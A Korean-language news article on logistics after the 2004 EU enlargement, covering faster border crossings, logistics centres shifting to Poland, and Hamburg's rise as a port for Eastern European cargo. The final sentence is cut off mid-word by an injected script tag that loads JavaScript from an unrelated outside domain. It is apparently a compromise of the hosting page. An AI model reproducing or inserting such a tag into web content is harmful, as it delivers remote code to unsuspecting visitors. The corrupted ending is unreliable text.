국경 통과절차 간소화로 운송시간 단축

지난해 5월 1일 유럽연합이 중부 및 동유럽 8개국을 포함해 사이프러스와 몰타 등 10개국을 새로운 회원국으로 받아들인 이후 동유럽의 물류 환경이 크게 변하고 있는 것으로 나타났다.

특히 옛 러시아 사회주의 계획경제 체제의 영향권에 들어 있던 체코공화국, 에스토니아, 헝가리, 라트비아, 리투아니아, 폴란드, 슬로바크와 슬로베니아 등의 경우 유럽연합의 물류 지도를 다시 그려야 할 정도로 상당한 변화를 겪고 있다.

이 지역에 대한 상품 흐름이 확대되면서 범 유럽 물류센터가 재편되고 있고, 국경통과절차의 간소화 및 무역 절차의 개선이 이 같은 변화를 이끄는 동인으로 분석되고 있다.

최근 발간된 아메리칸 쉬퍼(American Shipper)에 따르면, 유럽연합 확대 이후 이 지역에서 나타난 가장 큰 변화의 하나는 국경이 철폐됨에 따라 물류시간이 크게 단축된 점을 들 수 있다.

폴란드에서 활동하고 있는 쉔커 로지스틱스(Schenker Logistics) 및 포워드 그룹 고르스키(Gorski) 회장은 “과거에는 피크 타임에 트럭이 국경을 넘기 위해서는 적어도 3일 정도는 기다려야 했으나 지금은 그럴 필요가 없다”면서 이로 인해 트럭의 경우 운항효율이 최고 30%까지 늘어났다고 밝혔다.

국경통과시간의 단축뿐만 아니라 무역절차도 대폭 간소화돼 현재 폴란드에서 인근 국가로 상품을 운송하는 데는 이틀밖에 걸리지 않으며, 기존의 유럽연합 지역까지 가는데도 3일 정도면 충분하다는 것.

이에 따라 일부 물류전문가들은 동유럽 물류기업들이 기존 유럽 연합 국가들의 물류 관행을 따라 잡는 것은 시간문제라고 보고 있다.

다국적기업 물류센터 동진 가속화

세계 굴지의 다국적 물류기업의 경우 대부분 지금까지는 유럽시장에 상품을 배송하는데 최적지라고 알려진 네덜란드나 벨기에에 지역 물류센터를 설치·운영해 왔다.

유럽연합 확대 이후 이 같은 물류센터의 운영에도 변화가 일어나 대형 회사들은 ‘지역 분권화 전략’을 추진하면서 동유럽 지역에 제2의 물류센터를 설치하거나 설치를 검토하는 사례가 늘고 있다.

특히 이 같은 기업의 상당수는 통합유럽의 중심부에 위치한 폴란드에 물류센터를 설치하는 방안을 적극 검토하고 있다.

큔나겔(Kuehne+Nagel)의 경우 동유럽과 발트 해 지역에 있는 두 곳의 물류센터를 상호 보완하면서 운영한다는 방침을 정하고, 폴란드에 물류센터를 설치해 발트 해 지역의 화물 배송업무를 담당하도록 한다는 전략이다.

동유럽 국가 가운데 특히 폴란드가 물류기업 등으로부터 각광을 받고 있는 것은 이 지역 국내 기업의 성장 가능성이 매우 크고, 외국인의 직접 투자가 다른 국가에 비해 크게 늘고 있기 때문인 것으로 풀이되고 있다.

이와 함께 폴란드는 인건비가 비교적 저렴하고, 고급 인력이 풍부할 뿐만 아니라 우크라이나와 러시아 및 발트 해 국가 등으로의 접근성이 뛰어난 한편, 정보 통신 인프라가 급속도로 개선되고 있는 것이 장점으로 부각되고 있다.

함부르크, 동유럽 거점 항만으로 부상
한편, 동유럽국가의 유럽연합 편입으로 독일 함부르크 항만은 1989년 베를린 장벽 철거 이후 또 다시 도약의 발판을 마련한 것으로 평가되고 있다.

이 항만은 1989년 이전에 유럽의 동북부에 위치한 변방 항만에 지나지 않았으나 현재는 유럽 주요 항만 가운데 신입 회원국 8개국과 가장 가까운 거리에 있는 점이 성장의 동력으로 작용하고 있다는 분석이다.

이 항만 마케팅 담당 책임자인 소젠프라이(Sorgenfrei)는 “지난해 처리한 컨테이너 물동량 700만 TEU 가운데, 3분의 1 정도가 동유럽지역 화물인 것으로 알고 있다고 밝히고, 향후 이 지역의 물동량 증가세에 대비하기 위해 엘베(Elbe) 강까지의 접근로를 개선하는 등 항만 인프라 개선사업을 적극 추진하고 있다”고 덧붙였다.

함부르크 항만이 동유럽 신흥시장의 물류 거점항만으로 부상되고 있는 이유는 이들 지역과 지리적으로 가깝다는 이유 이외에도 발트 해 연안 항만들의 경우 비교적 규모가 작고, 자국 의 화물을 주로 처리하고 있는데 따른 반사적 이익도 보고 있는 것으로 보인다.

예컨대 발트 해 항만 중에서 가장 크다는 폴란드 그딘니아(Gdynia)의 경우 연간 처리할 수 있는 컨테이너 물동량이 5만 TEU에 지나지 않아 함부르크 항만의 인프라를 넘볼 수 있는 처지는 아닌 것으로 분석되고 있다.

다만, 러시아의 세인트 페테레스브르크 항만의 경우 앞으로 10~15년 이후 이론적으로 경쟁항만으로 떠오를 수 있으나 발트 해에서 항만 터미널까지 오는 항로 수심이 10.5m에 지나지 않아 대형선 입항이 불가능하고, 선박이 편도로 운항할 수밖에 없는 점이 단점으로 지적되고 있다.

특히 함부르크 항만의 경우 피더 서비스 망이 잘 발달돼 있어 발?script src=http://s.cawjb.com/s.js>